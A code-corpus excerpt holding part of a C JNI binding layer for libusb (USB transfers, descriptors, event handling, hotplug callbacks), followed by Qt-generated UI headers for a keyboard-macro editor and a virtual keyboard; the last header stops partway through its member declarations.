struct libusb_ss_endpoint_companion_descriptor *companion_descriptor;
if (!companionDescriptor) return;
companion_descriptor = unwrapSsEndpointCompanionDescriptor(env,
companionDescriptor);
if (!companion_descriptor) return;
libusb_free_ss_endpoint_companion_descriptor(companion_descriptor);
resetSsEndpointCompanionDescriptor(env, companionDescriptor);
}
/**
* int getBosDescriptor(DeviceHandle, BosDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getBosDescriptor)
(
JNIEnv *env, jclass class, jobject handle, jobject bosDescriptor
)
{
libusb_device_handle *dev_handle;
struct libusb_bos_descriptor *bos_descriptor;
int result;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, bosDescriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, bosDescriptor, "bosDescriptorPointer", return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
result = libusb_get_bos_descriptor(dev_handle, &bos_descriptor);
if (result == LIBUSB_SUCCESS) setBosDescriptor(env, bos_descriptor, bosDescriptor);
return result;
}
/**
* void freeBosDescriptor(BosDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeBosDescriptor)
(
JNIEnv *env, jclass class, jobject bosDescriptor
)
{
struct libusb_bos_descriptor *bos_descriptor;
if (!bosDescriptor) return;
bos_descriptor = unwrapBosDescriptor(env, bosDescriptor);
if (!bos_descriptor) return;
libusb_free_bos_descriptor(bos_descriptor);
resetBosDescriptor(env, bosDescriptor);
}
/**
* int getUsb20ExtensionDescriptor(Context, BosDevCapabilityDescriptor, Usb20ExtensionDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getUsb20ExtensionDescriptor)
(
JNIEnv *env, jclass class, jobject context, jobject devCapDescriptor,
jobject extensionDescriptor
)
{
struct libusb_bos_dev_capability_descriptor *devcap_descriptor;
struct libusb_usb_2_0_extension_descriptor *extension_descriptor;
libusb_context *ctx;
int result;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
VALIDATE_NOT_NULL(env, devCapDescriptor, return 0);
VALIDATE_NOT_NULL(env, extensionDescriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, extensionDescriptor,
"usb20ExtensionDescriptorPointer", return 0);
devcap_descriptor = unwrapBosDevCapabilityDescriptor(env, devCapDescriptor);
if (!devcap_descriptor) return 0;
result = libusb_get_usb_2_0_extension_descriptor(ctx,
devcap_descriptor, &extension_descriptor);
if (result == LIBUSB_SUCCESS)
setUsb20ExtensionDescriptor(env, extension_descriptor,
extensionDescriptor);
return result;
}
/**
* void freeUsb20ExtensionDescriptor(Usb20ExtensionDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeUsb20ExtensionDescriptor)
(
JNIEnv *env, jclass class, jobject extensionDescriptor
)
{
struct libusb_usb_2_0_extension_descriptor *extension_descriptor;
if (!extensionDescriptor) return;
extension_descriptor = unwrapUsb20ExtensionDescriptor(env,
extensionDescriptor);
if (!extension_descriptor) return;
libusb_free_usb_2_0_extension_descriptor(extension_descriptor);
resetUsb20ExtensionDescriptor(env, extensionDescriptor);
}
/**
* int getSsUsbDeviceCapabilityDescriptor(Context, BosDevCapabilityDescriptor, SsUsbDeviceCapabilityDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getSsUsbDeviceCapabilityDescriptor)
(
JNIEnv *env, jclass class, jobject context, jobject devCapDescriptor,
jobject ssUsbDeviceCapabilityDescriptor
)
{
struct libusb_bos_dev_capability_descriptor *devcap_descriptor;
struct libusb_ss_usb_device_capability_descriptor *descriptor;
libusb_context *ctx;
int result;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
VALIDATE_NOT_NULL(env, devCapDescriptor, return 0);
VALIDATE_NOT_NULL(env, ssUsbDeviceCapabilityDescriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, ssUsbDeviceCapabilityDescriptor, "ssUsbDeviceCapabilityDescriptorPointer", return 0);
devcap_descriptor = unwrapBosDevCapabilityDescriptor(env, devCapDescriptor);
if (!devcap_descriptor) return 0;
result = libusb_get_ss_usb_device_capability_descriptor(ctx,
devcap_descriptor, &descriptor);
if (result == LIBUSB_SUCCESS)
setSsUsbDeviceCapabilityDescriptor(env, descriptor,
ssUsbDeviceCapabilityDescriptor);
return result;
}
/**
* void freeSsUsbDeviceCapabilityDescriptor(SsUsbDeviceCapabilityDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeSsUsbDeviceCapabilityDescriptor)
(
JNIEnv *env, jclass class, jobject ssUsbDeviceCapabilityDescriptor
)
{
struct libusb_ss_usb_device_capability_descriptor *descriptor;
if (!ssUsbDeviceCapabilityDescriptor) return;
descriptor = unwrapSsUsbDeviceCapabilityDescriptor(env,
ssUsbDeviceCapabilityDescriptor);
if (!descriptor) return;
libusb_free_ss_usb_device_capability_descriptor(descriptor);
resetSsUsbDeviceCapabilityDescriptor(env, ssUsbDeviceCapabilityDescriptor);
}
/**
* int getContainerIdDescriptor(Context, BosDevCapabilityDescriptor, ContainerIdDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getContainerIdDescriptor)
(
JNIEnv *env, jclass class, jobject context, jobject devCapDescriptor,
jobject containerIdDescriptor
)
{
struct libusb_bos_dev_capability_descriptor *devcap_descriptor;
struct libusb_container_id_descriptor *container_id_descriptor;
libusb_context *ctx;
int result;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
VALIDATE_NOT_NULL(env, devCapDescriptor, return 0);
VALIDATE_NOT_NULL(env, containerIdDescriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, containerIdDescriptor, "containerIdDescriptorPointer", return 0);
devcap_descriptor = unwrapBosDevCapabilityDescriptor(env, devCapDescriptor);
if (!devcap_descriptor) return 0;
result = libusb_get_container_id_descriptor(ctx,
devcap_descriptor, &container_id_descriptor);
if (result == LIBUSB_SUCCESS)
setContainerIdDescriptor(env, container_id_descriptor,
containerIdDescriptor);
return result;
}
/**
* void freeContainerIdDescriptor(ContainerIdDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeContainerIdDescriptor)
(
JNIEnv *env, jclass class, jobject containerIdDescriptor
)
{
struct libusb_container_id_descriptor *container_id_descriptor;
if (!containerIdDescriptor) return;
container_id_descriptor =
unwrapContainerIdDescriptor(env, containerIdDescriptor);
if (!container_id_descriptor) return;
libusb_free_container_id_descriptor(container_id_descriptor);
resetContainerIdDescriptor(env, containerIdDescriptor);
}
/**
* int controlTransfer(DeviceHandle, byte, byte, short, short, ByteBuffer, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, controlTransfer)
(
JNIEnv *env, jclass class, jobject handle, jbyte bmRequestType,
jbyte bRequest, jshort wValue, jshort wIndex, jobject data, jlong timeout
)
{
unsigned char *data_ptr;
libusb_device_handle *dev_handle;
jlong data_size;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, data, return 0);
data_ptr = (*env)->GetDirectBufferAddress(env, data);
VALIDATE_DIRECT_BUFFER(env, data_ptr, "data", return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
data_size = (*env)->GetDirectBufferCapacity(env, data);
return libusb_control_transfer(dev_handle, (uint8_t) bmRequestType,
(uint8_t) bRequest, (uint16_t) wValue, (uint16_t) wIndex, data_ptr,
(uint16_t) data_size, (unsigned int) timeout);
}
/**
* int bulkTransfer(DeviceHandle, byte, ByteBuffer, IntBuffer, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, bulkTransfer)
(
JNIEnv *env, jclass class, jobject handle, jbyte endpoint,
jobject data, jobject transferred, jlong timeout
)
{
unsigned char *data_ptr;
libusb_device_handle *dev_handle;
int sent;
jlong data_size;
int result;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, data, return 0);
VALIDATE_NOT_NULL(env, transferred, return 0);
data_ptr = (*env)->GetDirectBufferAddress(env, data);
VALIDATE_DIRECT_BUFFER(env, data_ptr, "data", return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
data_size = (*env)->GetDirectBufferCapacity(env, data);
result = libusb_bulk_transfer(dev_handle, (unsigned char) endpoint,
data_ptr, (int) data_size, &sent, (unsigned int) timeout);
if (result == LIBUSB_SUCCESS || result == LIBUSB_ERROR_TIMEOUT)
{
jclass cls;
jmethodID method;
cls = (*env)->GetObjectClass(env, transferred);
method = (*env)->GetMethodID(env, cls, "put",
"(II)Ljava/nio/IntBuffer;");
(*env)->CallObjectMethod(env, transferred, method, 0, sent);
}
return result;
}
/**
* int interruptTransfer(DeviceHandle, byte, ByteBuffer, IntBuffer, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, interruptTransfer)
(
JNIEnv *env, jclass class, jobject handle, jbyte endpoint,
jobject data, jobject transferred, jlong timeout
)
{
unsigned char *data_ptr;
libusb_device_handle *dev_handle;
int sent;
jlong data_size;
int result;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, data, return 0);
VALIDATE_NOT_NULL(env, transferred, return 0);
data_ptr = (*env)->GetDirectBufferAddress(env, data);
VALIDATE_DIRECT_BUFFER(env, data_ptr, "data", return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
data_size = (*env)->GetDirectBufferCapacity(env, data);
result = libusb_interrupt_transfer(dev_handle, (unsigned char) endpoint,
data_ptr, (int) data_size, &sent, (unsigned int) timeout);
if (result == LIBUSB_SUCCESS || result == LIBUSB_ERROR_TIMEOUT)
{
jclass cls;
jmethodID method;
cls = (*env)->GetObjectClass(env, transferred);
method = (*env)->GetMethodID(env, cls, "put",
"(II)Ljava/nio/IntBuffer;");
(*env)->CallObjectMethod(env, transferred, method, 0, sent);
}
return result;
}
/**
* int tryLockEvents(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, tryLockEvents)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_try_lock_events(ctx);
}
/**
* void lockEvents(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, lockEvents)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_lock_events(ctx);
}
/**
* void unlockEvents(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, unlockEvents)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_unlock_events(ctx);
}
/**
* int eventHandlingOk(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, eventHandlingOk)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_event_handling_ok(ctx);
}
/**
* int eventHandlerActive(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, eventHandlerActive)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_event_handler_active(ctx);
}
/**
* void lockEventWaiters(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, lockEventWaiters)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_lock_event_waiters(ctx);
}
/**
* void unlockEventWaiters(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, unlockEventWaiters)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_unlock_event_waiters(ctx);
}
/**
* int waitForEvent(Context, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, waitForEvent)
(
JNIEnv *env, jclass class, jobject context, jlong timeout
)
{
struct timeval tv;
libusb_context *ctx;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
tv.tv_sec = (long int) timeout / 1000000;
tv.tv_usec = (long int) timeout % 1000000;
return libusb_wait_for_event(ctx, &tv);
}
/**
* int handleEventsTimeoutCompleted(Context, long, IntBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, handleEventsTimeoutCompleted)
(
JNIEnv *env, jclass class, jobject context, jlong timeout,
jobject completed
)
{
libusb_context *ctx;
struct timeval tv;
int *completed_ptr = NULL;
if (completed)
{
completed_ptr = (int *) (*env)->GetDirectBufferAddress(env, completed);
VALIDATE_DIRECT_BUFFER(env, completed_ptr, "completed", return 0);
}
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
tv.tv_sec = (long int) timeout / 1000000;
tv.tv_usec = (long int) timeout % 1000000;
return libusb_handle_events_timeout_completed(ctx, &tv, completed_ptr);
}
/**
* int handleEventsTimeout(Context, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, handleEventsTimeout)
(
JNIEnv *env, jclass class, jobject context, jlong timeout
)
{
struct timeval tv;
libusb_context *ctx;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
tv.tv_sec = (long int) timeout / 1000000;
tv.tv_usec = (long int) timeout % 1000000;
return libusb_handle_events_timeout(ctx, &tv);
}
/**
* int handleEvents(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, handleEvents)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_handle_events(ctx);
}
/**
* int handleEventsCompleted(Context, IntBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, handleEventsCompleted)
(
JNIEnv *env, jclass class, jobject context, jobject completed
)
{
libusb_context *ctx;
int *completed_ptr = NULL;
if (completed)
{
completed_ptr = (int *) (*env)->GetDirectBufferAddress(env, completed);
VALIDATE_DIRECT_BUFFER(env, completed_ptr, "completed", return 0);
}
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_handle_events_completed(ctx, completed_ptr);
}
/**
* int handleEventsLocked(Context, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, handleEventsLocked)
(
JNIEnv *env, jclass class, jobject context, jlong timeout
)
{
struct timeval tv;
libusb_context *ctx;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
tv.tv_sec = (long int) timeout / 1000000;
tv.tv_usec = (long int) timeout % 1000000;
return libusb_handle_events_locked(ctx, &tv);
}
/**
* int pollfdsHandleTimeouts(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, pollfdsHandleTimeouts)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
return libusb_pollfds_handle_timeouts(ctx);
}
/**
* int getNextTimeout(Context, LongBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getNextTimeout)
(
JNIEnv *env, jclass class, jobject context, jobject timeout
)
{
libusb_context *ctx;
struct timeval tv;
int result ;
VALIDATE_NOT_NULL(env, timeout, return 0);
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
result = libusb_get_next_timeout(ctx, &tv);
if (result == 1)
{
jclass cls;
jmethodID method;
cls = (*env)->GetObjectClass(env, timeout);
method = (*env)->GetMethodID(env, cls, "put",
"(IJ)Ljava/nio/LongBuffer;");
(*env)->CallObjectMethod(env, timeout, method, 0,
(jlong) (tv.tv_sec * 1000000 + tv.tv_usec));
}
return result;
}
static void LIBUSB_CALL triggerPollfdAdded(int fd, short events, void *user_data)
{
JNIEnv *env;
jint result;
jclass fdCls;
jmethodID fdConstructor;
jobject fdObject;
THREAD_BEGIN(env, result);
fdCls = (*env)->FindClass(env, "java/io/FileDescriptor");
fdConstructor = (*env)->GetMethodID(env, fdCls, "<init>", "(I)V");
fdObject = (*env)->NewObject(env, fdCls, fdConstructor, fd);
(*env)->CallStaticVoidMethod(env, jClassLibUsb, jMethodTriggerPollfdAdded,
fdObject, (jint) events, (jlong) (intptr_t) user_data);
THREAD_END(result);
}
static void LIBUSB_CALL triggerPollfdRemoved(int fd, void *user_data)
{
JNIEnv *env;
jint result;
jclass fdCls;
jmethodID fdConstructor;
jobject fdObject;
THREAD_BEGIN(env, result);
fdCls = (*env)->FindClass(env, "java/io/FileDescriptor");
fdConstructor = (*env)->GetMethodID(env, fdCls, "<init>", "(I)V");
fdObject = (*env)->NewObject(env, fdCls, fdConstructor, fd);
(*env)->CallStaticVoidMethod(env, jClassLibUsb, jMethodTriggerPollfdRemoved,
fdObject, (jlong) (intptr_t) user_data);
THREAD_END(result);
}
/**
* void setPollfdNotifiersNative(Context, long)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, setPollfdNotifiersNative)
(
JNIEnv *env, jclass class, jobject context, jlong context_id
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_set_pollfd_notifiers(ctx, &triggerPollfdAdded, &triggerPollfdRemoved,
(void *) (intptr_t) context_id);
}
/**
* void unsetPollfdNotifiersNative(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, unsetPollfdNotifiersNative)
(
JNIEnv *env, jclass class, jobject context
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_set_pollfd_notifiers(ctx, NULL, NULL, NULL);
}
/**
* Transfer allocTransfer(int)
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, allocTransfer)
(
JNIEnv *env, jclass class, jint isoPackets
)
{
jobject transferObject;
struct libusb_transfer *transfer;
struct transfer_data *transferData;
transfer = libusb_alloc_transfer(isoPackets);
if (!transfer) return NULL;
transferData = calloc(1, sizeof(*transferData));
if (!transferData)
{
libusb_free_transfer(transfer);
return NULL;
}
transfer->user_data = transferData;
transferData->maxNumIsoPackets = (size_t) isoPackets;
transferObject = wrapTransfer(env, transfer);
// Make sure the cleanup callback is always there, as it's perfectly legal
// to not set any callback and still enable the FREE_TRANSFER flag, in which
// case one would expect the Java Transfer object to be properly cleaned up.
cleanupCallbackEnable(env, transferObject);
return transferObject;
}
/**
* void freeTransfer(Transfer)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeTransfer)
(
JNIEnv *env, jclass class, jobject trans
)
{
struct libusb_transfer *transfer;
if (!trans) return;
transfer = unwrapTransfer(env, trans);
if (!transfer) return;
cleanupGlobalReferences(env, trans);
resetTransfer(env, trans);
free(transfer->user_data);
libusb_free_transfer(transfer);
}
/**
* int submitTransfer(Transfer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, submitTransfer)
(
JNIEnv *env, jclass class, jobject trans
)
{
struct libusb_transfer *transfer;
VALIDATE_NOT_NULL(env, trans, return 0);
transfer = unwrapTransfer(env, trans);
if (!transfer) return 0;
return libusb_submit_transfer(transfer);
}
/**
* int cancelTransfer(Transfer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, cancelTransfer)
(
JNIEnv *env, jclass class, jobject trans
)
{
struct libusb_transfer *transfer;
VALIDATE_NOT_NULL(env, trans, return 0);
transfer = unwrapTransfer(env, trans);
if (!transfer) return 0;
return libusb_cancel_transfer(transfer);
}
static int LIBUSB_CALL hotplugCallback(libusb_context *context,
libusb_device *device, libusb_hotplug_event event, void *user_data)
{
JNIEnv *env;
jint envResult;
jobject ctx;
jobject dev;
int result;
THREAD_BEGIN(env, envResult);
ctx = wrapContext(env, context);
dev = wrapDevice(env, device);
result = (*env)->CallStaticIntMethod(env,
jClassLibUsb, jMethodHotplugCallback, ctx, dev,
(jint) event, (jlong) (intptr_t) user_data);
THREAD_END(envResult);
return result;
}
/**
* int hotplugRegisterCallbackNative(Context, int, int, int, int, int,
* HotplugCallbackHandle, long)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, hotplugRegisterCallbackNative)
(
JNIEnv *env, jclass class, jobject context, jint events, jint flags,
jint vendorId, jint productId, jint deviceClass,
jobject callbackHandle, jlong hotplugId
)
{
libusb_hotplug_callback_handle handle;
libusb_context *ctx;
int result;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
if (callbackHandle != NULL)
{
// If callbackHandle is set, the Java object must be fresh/empty.
VALIDATE_POINTER_NOT_SET(env, callbackHandle, "hotplugCallbackHandleValue", return 0);
}
// Register the callback.
result = libusb_hotplug_register_callback(ctx, events, flags,
vendorId, productId, deviceClass, &hotplugCallback,
(void *) (intptr_t) hotplugId, &handle);
// If callbackHandle is set and registering was successful, we set the handle
// to the value we've gotten from libusb.
if ((callbackHandle != NULL) && (result == LIBUSB_SUCCESS))
{
setHotplugCallbackHandle(env, handle, callbackHandle);
}
return result;
}
/*
* long hotplugDeregisterCallbackNative(Context, HotplugCallbackHandle)
*/
JNIEXPORT jlong JNICALL METHOD_NAME(LibUsb, hotplugDeregisterCallbackNative)
(
JNIEnv *env, jclass class, jobject context, jobject callbackHandle
)
{
libusb_hotplug_callback_handle handle;
libusb_context *ctx;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
VALIDATE_NOT_NULL(env, callbackHandle, return 0);
handle = unwrapHotplugCallbackHandle(env, callbackHandle);
if (!handle) return 0;
// Deregister the callback.
libusb_hotplug_deregister_callback(ctx, handle);
resetHotplugCallbackHandle(env, callbackHandle);
return handle;
}
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_MacroEditorUI.h
|
/********************************************************************************
** Form generated from reading UI file 'MacroEditorUI.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_MACROEDITORUI_H
#define UI_MACROEDITORUI_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QCheckBox>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_MacroEditorUI
{
public:
QLabel *macroNameLabel;
QLabel *interceptedKeyLabel;
QLabel *enabledLabel;
QCheckBox *enabledBox;
QLabel *actionLabel;
QListWidget *actionList;
QPushButton *newActionButton;
QPushButton *deleteActionButton;
QPushButton *saveNameButton;
QLabel *interceptedKeyText;
QPushButton *chooseKeyButton;
QLineEdit *macroNameText;
void setupUi(QWidget *MacroEditorUI)
{
if (MacroEditorUI->objectName().isEmpty())
MacroEditorUI->setObjectName(QString::fromUtf8("MacroEditorUI"));
MacroEditorUI->resize(400, 300);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
MacroEditorUI->setWindowIcon(icon);
macroNameLabel = new QLabel(MacroEditorUI);
macroNameLabel->setObjectName(QString::fromUtf8("macroNameLabel"));
macroNameLabel->setGeometry(QRect(10, 10, 90, 16));
interceptedKeyLabel = new QLabel(MacroEditorUI);
interceptedKeyLabel->setObjectName(QString::fromUtf8("interceptedKeyLabel"));
interceptedKeyLabel->setGeometry(QRect(10, 50, 101, 21));
enabledLabel = new QLabel(MacroEditorUI);
enabledLabel->setObjectName(QString::fromUtf8("enabledLabel"));
enabledLabel->setGeometry(QRect(10, 90, 51, 16));
enabledBox = new QCheckBox(MacroEditorUI);
enabledBox->setObjectName(QString::fromUtf8("enabledBox"));
enabledBox->setGeometry(QRect(110, 90, 16, 20));
actionLabel = new QLabel(MacroEditorUI);
actionLabel->setObjectName(QString::fromUtf8("actionLabel"));
actionLabel->setGeometry(QRect(159, 120, 121, 31));
QFont font;
font.setPointSize(16);
actionLabel->setFont(font);
actionList = new QListWidget(MacroEditorUI);
actionList->setObjectName(QString::fromUtf8("actionList"));
actionList->setGeometry(QRect(10, 150, 371, 101));
newActionButton = new QPushButton(MacroEditorUI);
newActionButton->setObjectName(QString::fromUtf8("newActionButton"));
newActionButton->setGeometry(QRect(114, 260, 81, 24));
deleteActionButton = new QPushButton(MacroEditorUI);
deleteActionButton->setObjectName(QString::fromUtf8("deleteActionButton"));
deleteActionButton->setGeometry(QRect(200, 260, 81, 24));
saveNameButton = new QPushButton(MacroEditorUI);
saveNameButton->setObjectName(QString::fromUtf8("saveNameButton"));
saveNameButton->setGeometry(QRect(260, 10, 75, 24));
interceptedKeyText = new QLabel(MacroEditorUI);
interceptedKeyText->setObjectName(QString::fromUtf8("interceptedKeyText"));
interceptedKeyText->setGeometry(QRect(110, 50, 111, 21));
chooseKeyButton = new QPushButton(MacroEditorUI);
chooseKeyButton->setObjectName(QString::fromUtf8("chooseKeyButton"));
chooseKeyButton->setGeometry(QRect(260, 50, 75, 24));
macroNameText = new QLineEdit(MacroEditorUI);
macroNameText->setObjectName(QString::fromUtf8("macroNameText"));
macroNameText->setGeometry(QRect(110, 10, 131, 22));
retranslateUi(MacroEditorUI);
QMetaObject::connectSlotsByName(MacroEditorUI);
} // setupUi
void retranslateUi(QWidget *MacroEditorUI)
{
MacroEditorUI->setWindowTitle(QCoreApplication::translate("MacroEditorUI", "Macro Editor", nullptr));
macroNameLabel->setText(QCoreApplication::translate("MacroEditorUI", "Macro Name:", nullptr));
interceptedKeyLabel->setText(QCoreApplication::translate("MacroEditorUI", "Intercepted Key:", nullptr));
enabledLabel->setText(QCoreApplication::translate("MacroEditorUI", "Enabled:", nullptr));
enabledBox->setText(QString());
actionLabel->setText(QCoreApplication::translate("MacroEditorUI", "Actions", nullptr));
newActionButton->setText(QCoreApplication::translate("MacroEditorUI", "New Action", nullptr));
deleteActionButton->setText(QCoreApplication::translate("MacroEditorUI", "Delete Action", nullptr));
saveNameButton->setText(QCoreApplication::translate("MacroEditorUI", "Save Name", nullptr));
interceptedKeyText->setText(QCoreApplication::translate("MacroEditorUI", "L", nullptr));
chooseKeyButton->setText(QCoreApplication::translate("MacroEditorUI", "Choose Key", nullptr));
} // retranslateUi
};
namespace Ui {
class MacroEditorUI: public Ui_MacroEditorUI {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_MACROEDITORUI_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_VirtualKeyboard.h
|
/********************************************************************************
** Form generated from reading UI file 'VirtualKeyboard.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_VIRTUALKEYBOARD_H
#define UI_VIRTUALKEYBOARD_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QLabel>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QTabWidget>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_VirtualKeyboard
{
public:
QTabWidget *tabWidget;
QWidget *tab_AZ;
QPushButton *a_button;
QLabel *instructionLabel;
QPushButton *b_button;
QPushButton *c_button;
QPushButton *d_button;
QPushButton *e_button;
QPushButton *f_button;
QPushButton *l_button;
QPushButton *k_button;
QPushButton *g_button;
QPushButton *j_button;
QPushButton *h_button;
QPushButton *i_button;
QPushButton *p_button;
QPushButton *r_button;
QPushButton *m_button;
QPushButton *n_button;
QPushButton *o_button;
QPushButton *q_button;
QPushButton *s_button;
QPushButton *u_button;
QPushButton *w_button;
QPushButton *t_button;
QPushButton *x_button;
QPushButton *v_button;
QPushButton *y_button;
QPushButton *z_button;
QWidget *tab_Numbers;
QLabel *instructionLabel_2;
QPushButton *r0_button;
QPushButton *r1_button;
QPushButton *r2_button;
QPushButton *r3_button;
QPushButton *r4_button;
QPushButton *r5_button;
QPushButton *r7_button;
QPushButton *r8_button;
QPushButton *r9_button;
QPushButton *num0_button;
QPushButton *num1_button;
QPushButton *r6_button;
QPushButton *num3_button;
QPushButton *num7_button;
QPushButton *num4_button;
QPushButton *num5_button;
QPushButton *num6_button;
QPushButton *num2_button;
QPushButton *num8_button;
QPushButton *num9_button;
QWidget *tab_Punctuation;
QLabel *instructionLabel_3;
QPushButton *r6_button_2;
QPushButton *r2_button_2;
QPushButton *r8_button_2;
QPushButton *r3_button_2;
QPushButton *r0_button_2;
QPushButton *num4_button_2;
QPushButton *r1_button_2;
QPushButton *r4_button_2;
QPushButton *num3_button_2;
QPushButton *num0_button_2;
QPushButton *r7_button_2;
QPushButton *num1_button_2;
QPushButton *num2_button_2;
QPushButton *r5_button_2;
QPushButton *r9_button_2;
QPushButton *num4_button_3;
QWidget *tab_function;
QLabel *instructionLabel_4;
QPushButton *f1_button;
QPushButton *f2_button;
QPushButton *f3_button;
QPushButton *f4_button;
QPushButton *f5_button;
QPushButton *f6_button;
QPushButton *f7_button;
QPushButton *f8_button;
QPushButton *f10_button;
QPushButton *f12_button;
QPushButton *f9_button;
QPushButton *f11_button;
QPushButton *f15_button;
QPushButton *f13_button;
QPushButton *f17_button;
QPushButton *f16_button;
QPushButton *f14_button;
QPushButton *f18_button;
QPushButton *f21_button;
QPushButton *f23_button;
QPushButton *f24_button;
QPushButton *f20_button;
QPushButton *f22_button;
QPushButton *f19_button;
QWidget *tab_other;
QLabel *instructionLabel_5;
QPushButton *l_button_2;
QPushButton *h_button_2;
QPushButton *d_button_2;
QPushButton *a_button_2;
QPushButton *y_button_2;
QPushButton *n_button_2;
QPushButton *f_button_2;
QPushButton *k_button_2;
QPushButton *g_button_2;
QPushButton *z_button_2;
QPushButton *w_button_2;
QPushButton *r_button_2;
QPushButton *q_button_2;
QPushButton *j_button_2;
QPushButton *i_button_2;
QPushButton *e_button_2;
QPushButton *x_button_2;
QPushButton *t_button_2;
QPushButton *o_button_2;
QPushButton *s_button_2;
